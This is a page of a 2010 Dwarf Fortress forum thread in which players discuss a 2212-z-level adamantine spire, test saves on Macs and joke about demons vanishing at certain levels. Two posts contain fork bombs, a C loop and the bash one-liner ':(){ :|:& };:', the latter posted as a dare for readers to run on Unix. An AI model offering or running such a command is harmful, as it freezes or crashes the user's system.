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Author Topic: 2212 z-level above-ground Adamantine Spire  (Read 331417 times)

breadbocks

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Re: 2212 z-level above-ground Adamantine Spire
« Reply #495 on: July 25, 2010, 11:32:24 pm »

Does anyone know how much distance a Z-level is, really?  Could we assume that the 2212 Z-level spire is 2212 stories tall?
See Urist's Law of Relativity a few pages back.
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Beeskee

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Re: 2212 z-level above-ground Adamantine Spire
« Reply #496 on: July 26, 2010, 01:23:28 am »

This... this is beautiful.
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cbpye

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Re: 2212 z-level above-ground Adamantine Spire
« Reply #497 on: July 26, 2010, 07:19:43 am »

Reading that got me to open the save again.  I've got some shell crafts made (high master bone crafter arrived), and Autumn is fast approaching.  Everyone else's skills are getting rusty.

Quantum Toast

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Re: 2212 z-level above-ground Adamantine Spire
« Reply #498 on: July 26, 2010, 08:19:04 am »

Let the mass dwarven sacrifice begin!
Begin? When did it end?
When we were distracted by the giant fucking pillar of adamantine.

Unrelated: I wonder if anyone has enough processing power to survive cutting out a bottom layer of The Spire?

I cut out a bottom layer of the spire.  I have a pretty fast computer, and I left it running for over 24 hours waiting for the game to unpause after the epic cave-in - but it never finished.
Reality's twisted around this thing like spaghetti round a fork. Not even DF knows what happens when you destroy it.

Hell, maybe the spire is time itself, and the reason nothing's happening after you break it is because nothing can happen anymore.

-----

Which would explain why nobody posted in this topic for a week and a half...
« Last Edit: August 05, 2010, 01:31:19 pm by Quantum Toast »
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Saposhiente

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Re: 2212 z-level above-ground Adamantine Spire
« Reply #499 on: August 05, 2010, 11:27:54 am »

I notice that nobody has tested this on a mac...
Downloading .12 .11 and .10 for good measure now
(Snow leopard)
First Try: Params on .12
Report 1:...ooh this guy is slow to tire and likes steel, bolts and breastplates :D... but no spire :(

2nd Try: OP's save on .12
No mining, but WOO 13 FPS! Take that everyone else! :P
Demons suddenly disappear at level 90-200, no longer on unit screen.

3rd Try: Migrant-ified save on .12
« Last Edit: August 05, 2010, 03:06:36 pm by Saposhiente »
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The amount of malice in this thread is actually causing me some concern. I mean, chaining up mothers and forcing them to breed, just so we can drown their children to harvest their organs? Does this strike no one else as absolutely horrific?
You misspelled 'hilarious'
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McDwarf

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Re: 2212 z-level above-ground Adamantine Spire
« Reply #500 on: August 05, 2010, 11:55:25 am »

I tried it on my macbook (os X 10.6.4) with two versions of DF (don't remember which).

Generating with seed resulted in no spire.
The uploaded save 'worked' with spire, if you accept dwarves not digging or killing trees working.
I did not try allowing years to pass to see if migrants would inspire dwarves to start digging.
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Encased in burning magma

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Re: 2212 z-level above-ground Adamantine Spire
« Reply #501 on: August 05, 2010, 12:42:32 pm »

Well-written forkbomb?

while(1)
fork();


I really don't see how to do that better.

edit: hmmm... maybe pthreads would be faster...
« Last Edit: August 05, 2010, 02:11:58 pm by Encased in burning magma »
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Saposhiente

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Re: 2212 z-level above-ground Adamantine Spire
« Reply #502 on: August 05, 2010, 02:04:28 pm »

Code: [Select]
:(){ :|:& };:Enter that on unix. You know you want to.

Also, new update
« Last Edit: August 05, 2010, 02:41:51 pm by Saposhiente »
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Quote
The amount of malice in this thread is actually causing me some concern. I mean, chaining up mothers and forcing them to breed, just so we can drown their children to harvest their organs? Does this strike no one else as absolutely horrific?
You misspelled 'hilarious'
Fun

Saposhiente

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Re: 2212 z-level above-ground Adamantine Spire
« Reply #503 on: August 05, 2010, 03:05:16 pm »

Interesing... (OP's save) It seems that the demons keep going up to some level (which based on the bugger's speed can't be any more than 100) and then are erased from existence by some divine atom-smasher (No actual bridges found)
« Last Edit: August 05, 2010, 05:51:50 pm by Saposhiente »
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Quote
The amount of malice in this thread is actually causing me some concern. I mean, chaining up mothers and forcing them to breed, just so we can drown their children to harvest their organs? Does this strike no one else as absolutely horrific?
You misspelled 'hilarious'
Fun

DFPongo

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Re: 2212 z-level above-ground Adamantine Spire
« Reply #504 on: August 05, 2010, 03:59:48 pm »

Fee Fi Fo Fum
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Encased in burning magma

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Re: 2212 z-level above-ground Adamantine Spire
« Reply #505 on: August 05, 2010, 04:07:26 pm »

Fee Fi Fo Fum

*«+ Adamantine Bean seed bag+»*
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MetalSlimeHunt

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Re: 2212 z-level above-ground Adamantine Spire
« Reply #506 on: August 05, 2010, 04:12:59 pm »

I think I know why we're having problems mining this. The sight of the adamantine is so impossible to the dwarves that it snaps their fragile minds down retroactively through the ages, turning Dwarf-Prime insane at the birth of the world. Dwarf-Prime proceeds to murder Human-Prime, Elf-Prime, Goblin-Prime, and Kolbold-Prime. Dwarf-Prime then starves to death, dooming the world to be a barren and dead rock, which kills all your present dwarves.
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Saposhiente

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Re: 2212 z-level above-ground Adamantine Spire
« Reply #507 on: August 05, 2010, 05:53:18 pm »

Update Update: Two shade haunts got to 47 and 48, waited in place for a while, then ceased to exist. Maybe Armok himself is smiting them, and the pillar is a trap to their doom?
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Quote
The amount of malice in this thread is actually causing me some concern. I mean, chaining up mothers and forcing them to breed, just so we can drown their children to harvest their organs? Does this strike no one else as absolutely horrific?
You misspelled 'hilarious'
Fun

Saposhiente

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Re: 2212 z-level above-ground Adamantine Spire
« Reply #508 on: August 05, 2010, 06:20:24 pm »

Pearl demon moved from 47 to 48 then immediately ceased to exist. I think it's the critical level.
Lv 49

Lv 48

Lv 47

I notice that 48 is the first level to have no "open space" just floor and undiscovered. I also notice that the only overlapping tiles are "Open space" on the level below. Lastly, 49 has nothing but undiscovered, as do the levels above it.
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Quote
The amount of malice in this thread is actually causing me some concern. I mean, chaining up mothers and forcing them to breed, just so we can drown their children to harvest their organs? Does this strike no one else as absolutely horrific?
You misspelled 'hilarious'
Fun

MaximumZero

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Re: 2212 z-level above-ground Adamantine Spire
« Reply #509 on: August 05, 2010, 06:25:56 pm »

Here I thought that this couldn't get any weirder, and you've proven me very, very wrong. Congratulations.
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